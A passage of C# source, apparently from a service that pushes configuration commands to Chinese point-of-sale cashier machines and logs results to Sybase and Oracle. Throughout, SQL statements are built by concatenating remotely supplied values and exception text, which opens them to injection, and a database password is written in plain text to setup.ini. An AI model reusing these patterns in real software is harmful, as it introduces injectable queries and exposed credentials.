Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='设置结账有效日期失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改版本号
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "Version_num")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set bz = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改版本号期成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改版本号失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改日结校验天数
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "check_day")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='设修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set check_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改日结校验天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改日结校验天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改结账提醒天数
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "endaccount_day")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set endaccount_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改结账提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改结账提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 修改有效提醒天数
else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "expiry_day")
{
string sql = "";
string Oraclesql = "";
bool isContents = false;
try
{
if (REPEAT_STATE == "1")
{
if ((datenow - datebegin).TotalMinutes % arr == 0)
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
if (REPEAT_STATE == "0")
{
try
{
sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
isContents = true;
}
catch
{ }
if (isContents)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效提醒天数成功' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
else
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效提醒天数失败' where COMMODITYMACHINE_ID = " + ID +
"AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' ";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
}
}
}
catch (Exception ex)
{
try
{
sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch { }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message +
"' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch { }
LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql);
}
}
#endregion
#region 停止命令
else if (FLAG == "0" && HANDWAY != "closefunction")
{
string sql = "";
string Oraclesql = "";
try
{
sql = @"UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3
where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
Lib.SyBaseHelper.ExecuteSqlTran(sql);
}
catch
{ }
try
{
Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 " +
"where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'";
OracleCommand oracle = new OracleCommand(Oraclesql, conn);
oracle.ExecuteNonQuery();
}
catch
{ }
}
#endregion
}
}
}
}
rdSetup.Close();
conn.Close();
conn.Dispose();
//conany.Close();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog(ex.Message + "\r\n" + SqlString);
}
}
#endregion
#region 检测文件对比差异
private void TimeData_Tick(object sender, EventArgs e)
{
try
{
string _mac = GetMacAddressByNetworkInformation();
if (_mac == string.Empty)
return;
OracleConnection conn = QueryOracle();
bool istrue = false;
var list = new List();
foreach (string setup in File.ReadAllLines("setup.ini", Encoding.Default))
{
list.Add(setup);
}
foreach (string set in File.ReadAllLines("set.ini"))
{
if (list.Contains(set))
{
istrue = true;
continue;
}
else
{
istrue = false;
break;
}
}
if (istrue)
{
return;
}
else
{
#region 从数据库下载新表覆盖
string sqlsetup = "select * from " + dbname + ".T_MACHINECONFIG WHERE MACHINE_MACADDRESS = '" + _mac + "'";
OracleCommand ComSetup = new OracleCommand(sqlsetup, conn);
try
{
conn.Open();
OracleDataReader rdSetup = ComSetup.ExecuteReader();
if (rdSetup.HasRows)
{
while (rdSetup.Read())
{
object database = rdSetup["DATABASE"];
object startype = rdSetup["STARTYPE"];
object name = rdSetup["NAME"];
object servername = rdSetup["SERVERNAME"];
object apppath = rdSetup["APPPATH"];
object port = rdSetup["PORT"];
object setup = rdSetup["SETUP"];
object openpath = rdSetup["OPENPATH"];
object dbsync = rdSetup["DBSYNC"];
object iswork = rdSetup["ISWORK"];
object dbconect = rdSetup["DBCONECT"];
object dbip1 = rdSetup["DBIP"];
object dbport1 = rdSetup["DBPORT"];
object dbname1 = rdSetup["DBNAME"];
object dbuser1 = rdSetup["DBUSER"];
object dbpass1 = rdSetup["DBPASS"];
object conname1 = rdSetup["CONNAME"];
object serverpartcode = rdSetup["SERVERPARTCODE"];
object shopcode = rdSetup["SHOPCODE"];
object machinecode = rdSetup["MACHINECODE"];
object orapath = rdSetup["ORAPATH"];
object setups = rdSetup["SETUPS"];
object manmode = rdSetup["MANMODE"];
object systemparm = rdSetup["SYSTEMPARM"];
object softwarename = rdSetup["SOFTWARENAME"];
object dbtrans_mode = rdSetup["DBTRANS_MODE"];
object endgo_line = rdSetup["ENDGO_LINE"];
object adv_top = rdSetup["ADV_TOP"];
object adv_end = rdSetup["ADV_END"];
object input_mode = rdSetup["INPUT_MODE"];
object is_print = rdSetup["IS_PRINT"];
object is_open = rdSetup["IS_OPEN"];
object is_dpis = rdSetup["IS_DPIS"];
object xpprint_num = rdSetup["XPPRINT_NUM"];
object jbprint_num = rdSetup["JBPRINT_NUM"];
object effectiveday = rdSetup["EFFECTIVEDAY"];
object checkday = rdSetup["CHECKDAY"];
object dispcom = rdSetup["DISPCOM"];
object spdj = rdSetup["SPDJ"];
object printport = rdSetup["PRINTPORT"];
object discount2 = rdSetup["DISCOUNT2"];
object kitchenprint = rdSetup["KITCHENPRINT"];
object prefix = rdSetup["PREFIX"];
object serverpartname = rdSetup["SERVERPARTNAME"];
object brandnum = rdSetup["BRANDNUM"];
object endaccounttimes = rdSetup["ENDACCOUNTTIMES"];
object billoverlap = rdSetup["BILLOVERLAP"];
FileStream sf = new FileStream("setup.ini", FileMode.Create, FileAccess.Write);
StreamWriter sw = new StreamWriter(sf, Encoding.Default);
sw.WriteLine(database); sw.WriteLine("startype=" + startype); sw.WriteLine("dbname=" + name); sw.WriteLine("servername=" + servername);
sw.WriteLine("apppath=" + apppath); sw.WriteLine("port=" + port); sw.WriteLine("setup=" + setup); sw.WriteLine("openpath=" + openpath);
sw.WriteLine(); sw.WriteLine(dbsync); sw.WriteLine("iswork=" + iswork); sw.WriteLine(dbconect);
sw.WriteLine("dbip=" + dbip1); sw.WriteLine("dbport=" + dbport1); sw.WriteLine("dbname=" + dbname1); sw.WriteLine("dbuser=" + dbuser1);
sw.WriteLine("dbpass=" + dbpass1); sw.WriteLine("conname=" + conname1); sw.WriteLine("serverpartcode=" + serverpartcode);
sw.WriteLine("shopcode=" + shopcode); sw.WriteLine("machinecode=" + machinecode); sw.WriteLine("orapath=" + orapath);
sw.WriteLine(setups); sw.WriteLine("manmode=" + manmode); sw.WriteLine(systemparm); sw.WriteLine("softwarename=" + softwarename);
sw.WriteLine("dbtrans_mode=" + dbtrans_mode); sw.WriteLine("endgo_line=" + endgo_line); sw.WriteLine("adv_top=" + adv_top);
sw.WriteLine("adv_end=" + adv_end); sw.WriteLine("input_mode=" + input_mode); sw.WriteLine("is_print=" + is_print);
sw.WriteLine("is_open=" + is_open); sw.WriteLine("is_dpis=" + is_dpis); sw.WriteLine("xpprint_num=" + xpprint_num);
sw.WriteLine("jbprint_num=" + jbprint_num); sw.WriteLine("effectiveday=" + effectiveday); sw.WriteLine("checkday=" + checkday);
sw.WriteLine("dispcom=" + dispcom); sw.WriteLine("spdj=" + spdj); sw.WriteLine("printport=" + printport); sw.WriteLine("discount2=" + discount2);
sw.WriteLine("kitchenprint=" + kitchenprint); sw.WriteLine("prefix=" + prefix); sw.WriteLine("serverpartname=" + serverpartname);
sw.WriteLine("brandnum=" + brandnum); sw.WriteLine("endaccounttimes=" + endaccounttimes); sw.WriteLine("billoverlap=" + billoverlap);
sw.Close();
sf.Close();
}
}
conn.Close();
conn.Dispose();
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("TimeData_Tick:" + ex.Message + "\r\n" + SqlString);
}
#endregion
}
}
catch (Exception ex)
{
LogHelper.WriteServiceLog("TimeData_Tick:" + ex.Message);
}
}
#endregion
#region 心跳(1min)
#region 新系统切换
private void NewSystemConfig()
{
string _serverpart = "334030|330308|330306|330318|330319|330325|331060|331010|888888|330001|511900|511800|510400|510100";
try
{
Lib.SyBaseHelper.QueryOdbc("select * from sys_globle");
string _XmlPath = AppDomain.CurrentDomain.BaseDirectory + "update.xml";
if (_QualityHelper.ConfigurationValues("NewSystem", "0") == "1")
{
string _KillApp = "TouchCashier.exe|cashier.exe|Stardb.exe|dbsyc.exe|GetMembership.exe|DataUpdate.exe|InvoicingTool.exe|ConnectPoint.exe";
string _KillAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "KillApp");
if (_KillAppConfig != _KillApp)
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "KillApp", _KillApp);
}
string _StartApp = "Stardb.exe|TouchCashier.exe|GetMembership.exe|ConnectPoint.exe";
//if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "\\Stardb.exe"))
//{
// _StartApp += (_StartApp == "" ? "" : "|") + "Stardb.exe";
//}
//if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "ConnectPoint.exe"))
//{
// _StartApp += (_StartApp == "" ? "" : "|") + "ConnectPoint.exe";
//}
//if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "TouchCashier.exe"))
//{
// _StartApp += (_StartApp == "" ? "" : "|") + "TouchCashier.exe";
//}
//else
//{
// _StartApp += (_StartApp == "" ? "" : "|") + "cashier.exe";
//}
//if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "GetMembership.exe"))
//{
// _StartApp += (_StartApp == "" ? "" : "|") + "GetMembership.exe";
//}
string _StartAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "StartApp");
if (_StartAppConfig != _StartApp)
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "StartApp", _StartApp);
}
if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "NewSystem") != "1")
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "NewSystem", "1");
}
}
else
{
string _KillApp = "cashier.exe|Stardb.exe|dbsyc.exe|GetMembership.exe|DataUpdate.exe|InvoicingTool.exe|ConnectPoint.exe";
string _KillAppConfig = Lib.ConfigHelper.GetAppConfig(_XmlPath, "KillApp");
if (_KillAppConfig != _KillApp)
{
Lib.ConfigHelper.UpdateAppConfig(_XmlPath, "KillApp", _KillApp);
}
string _StartApp = "Stardb.exe|cashier.exe";
if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "ConnectPoint.exe"))
{
_StartApp += (_StartApp == "" ? "" : "|") + "ConnectPoint.exe";
}
#region 四川旧系统传输方式判断
bool _bUploadService = false;
if (_QualityHelper.serverpartcode.StartsWith("51"))
{
if (Lib.ConfigHelper.GetAppConfig(_XmlPath, "StartApp").Contains("GetMembership.exe"))
{
_bUploadService = true;
}
else
{
string _BusinessType = "";
try
{
string _Select = string.Format("SELECT BUSINESSTYPE FROM T_SHOPMESSAGE " +
"WHERE SERVERPARTCODE = '{0}' AND SHOPCODE = '{1}'",
_QualityHelper.serverpartcode, _QualityHelper.shopcode);
_BusinessType = Lib.SyBaseHelper.QueryOdbc(_Select).Tables[0].Rows[0]["BUSINESSTYPE"].ToString();
}
catch
{
_BusinessType = "";
}
if (_BusinessType != "" && _BusinessType != "1005")
{
if (Lib.HttpHelper.UrlIsExist(string.Format("http://{0}:{1}/DataServices/Service.asmx",
_QualityHelper.dbip, _QualityHelper.DataServicePort)))
{
string _SelectSql = string.Format("SELECT SERVERPART_CODE FROM {0}.T_SHOPMESSAGE WHERE 1=0", _QualityHelper.dbuser);
if (_OracleHelper == null)
{
_OracleHelper = new Lib.OracleHelper(_QualityHelper.dbip, _QualityHelper.dbport,
_QualityHelper.conname, _QualityHelper.dbuser, _QualityHelper.dbpass);
}
try
{
